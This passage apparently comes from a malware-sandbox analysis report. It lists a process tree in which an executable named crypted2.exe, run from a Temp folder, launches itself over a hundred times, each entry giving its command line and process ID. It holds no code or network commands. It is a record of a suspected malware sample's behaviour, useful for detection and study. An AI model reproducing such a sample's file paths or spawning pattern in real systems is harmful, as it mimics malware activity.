        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8428
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8436
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8444
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8452
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8464
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8476
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8484
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8500
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8508
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8516
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8524
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8532
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8540
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8552
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8560
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8568
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8576
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8584
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8592
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8600
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8616
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8628
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8640
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8648
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8660
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8700
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8708
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8732
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8756
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8764
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8772
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8788
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8800
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8812
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8824
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8844
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8856
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8872
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8884
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8892
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9000
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9048
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9064
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9072
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9080
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9088
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9096
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9104
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9112
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9120
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9128
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9148
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9160
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9168
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9200
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9212
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7688
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8040
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8036
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7628
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6604
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8232
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8012
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8408
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8416
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8472
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8420
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7504
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6776
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6324
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7384
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6552
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8656
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8200
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8680
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8696
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8112
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:1128
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8724
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8720
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8716
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6668
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8740
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8752
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8796
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8836
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8852
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9020
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9008
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9036
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7828
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6788
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7612
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9044
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9188
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8608
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9196
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:1084
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:3876
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:432
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8996
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7616
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8624
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9024
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:1476
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5232
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5600
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9224
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9244
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9264
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9276
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9288
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9340
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9368
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9384
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9392
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9404
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9448
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9464
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9488
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9504
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9512
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9520
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9540
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9552
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9564
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9572
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9580
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9588
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9604
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9612
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9620
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9628
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9732
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9744
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9764
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9780
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9792
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9800
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9808
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9816
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9824
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9832
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9840
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9848
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9856
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9864
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9872
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9880
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9888
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9900
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9908
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9916
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9928
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9936
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9944
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9952
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9964
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9972
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9980
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9988
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10000
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10008
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10016
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10024
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10032
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10040
